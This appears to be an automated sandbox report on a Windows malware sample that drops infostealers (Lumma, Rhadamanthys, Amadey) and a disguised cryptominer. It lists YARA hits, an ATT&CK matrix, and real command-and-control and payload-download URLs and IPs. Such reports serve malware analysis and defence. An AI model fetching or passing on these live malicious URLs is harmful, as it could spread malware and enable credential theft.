Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV

Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000023.00000003.3081437963.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3103034955.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3081127174.0000000000EC4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3081290097.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fe64902db3.exe PID: 6044, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: fe64902db3.exe PID: 6044, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000002C.00000003.3230383274.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.3260956534.0000000003150000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.3237144661.0000000005390000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.3236944014.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0061EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_0061EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0061DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_0061DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	121 Input Capture	1 Account Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	212 Process Injection	41 Obfuscated Files or Information	Security Account Manager	24 File and Directory Discovery	SMB/Windows Admin Shares	121 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	11 Scheduled Task/Job	121 Software Packing	NTDS	358 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1171 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	11 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	57%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	67%	ReversingLabs	Win64.Trojan.Nekark

Source	Detection	Scanner	Label
http://crl.microLl	0%	Avira URL Cloud	safe
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745	100%	Avira URL Cloud	malware
https://cheapptaxysu.click/((	0%	Avira URL Cloud	safe
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17	100%	Avira URL Cloud	malware
http://31.41.244.11/files/dodo/random.exe/P	100%	Avira URL Cloud	phishing
https://cheapptaxysu.click/$	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exe/	100%	Avira URL Cloud	phishing
https://cheapptaxysu.click/apipings	0%	Avira URL Cloud	safe
http://31.41.244.11/files/geopoxid/random.exe	100%	Avira URL Cloud	phishing
https://cheapptaxysu.click/qU	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phprs	100%	Avira URL Cloud	malware
https://cheapptaxysu.click/	0%	Avira URL Cloud	safe
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745?argument=hUVxu2Vrg4cEhZp41734574187	100%	Avira URL Cloud	malware
https://cheapptaxysu.click/iU	0%	Avira URL Cloud	safe
http://31.41.244.11/files/lolz/random.exe	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/geopoxid/random.exeL	0%	Avira URL Cloud	safe
https://cheapptaxysu.click:443/api	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/api	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/aU	0%	Avira URL Cloud	safe
cheapptaxysu.click	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/apiN	0%	Avira URL Cloud	safe
http://31.41.244.11/files/burpin1/random.exeed	0%	Avira URL Cloud	safe
http://github.comd	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/api#Q3	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/apia	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cheapptaxysu.click	104.21.67.146	true	true	unknown
home.fivetk5vt.top	176.53.146.212	true	true	unknown
github.com	20.233.83.145	true	false	high
raw.githubusercontent.com	185.199.110.133	true	false	high
aspecteirs.lat	104.21.66.85	true	true	unknown
httpbin.org	34.226.108.155	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sustainskelet.lat	false		high
rapeflowwj.lat	false		high
energyaffai.lat	false		high
grannyejh.lat	false		high
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745	true	Avira URL Cloud: malware	unknown
necklacebudi.lat	false		high
https://cheapptaxysu.click/api	true	Avira URL Cloud: safe	unknown
crosshuaht.lat	false		high
cheapptaxysu.click	true	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe	false		high
https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe	false		high
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745?argument=hUVxu2Vrg4cEhZp41734574187	true	Avira URL Cloud: malware	unknown
https://httpbin.org/ip	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe/	skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/ac/?q=	fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/apipings	fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3172759592.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3178608455.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/	skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html	ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000027.00000002.3156217944.0000000004931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3188009095.00000000046D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000027.00000002.3158863021.0000000005994000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	1c5200ac19.exe, 00000025.00000002.3278002643.0000000002511000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.3156217944.0000000004931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3188009095.00000000046D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/((	fe64902db3.exe, 00000023.00000002.3177626551.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3171987339.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000027.00000002.3156217944.0000000004A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/qU	fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000027.00000002.3156217944.000000000528C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.3156217944.0000000005119000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	false		high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2937239873.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/dodo/random.exe	skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	false		high
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17	ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/dodo/random.exe/P	skotes.exe, 00000006.00000002.3277060437.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://httpbin.org/ipbefore	ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.micro	fe64902db3.exe, 00000023.00000003.3103978981.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3103034955.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2997982510.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3151294918.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3081290097.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3185405038.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com	1c5200ac19.exe, 00000025.00000002.3278002643.00000000025E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/geopoxid/random.exe	skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/$	fe64902db3.exe, 00000023.00000003.2997982510.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000027.00000002.3156217944.0000000004A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	false		high
http://raw.githubusercontent.com	1c5200ac19.exe, 00000025.00000002.3278002643.00000000025FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	false		high
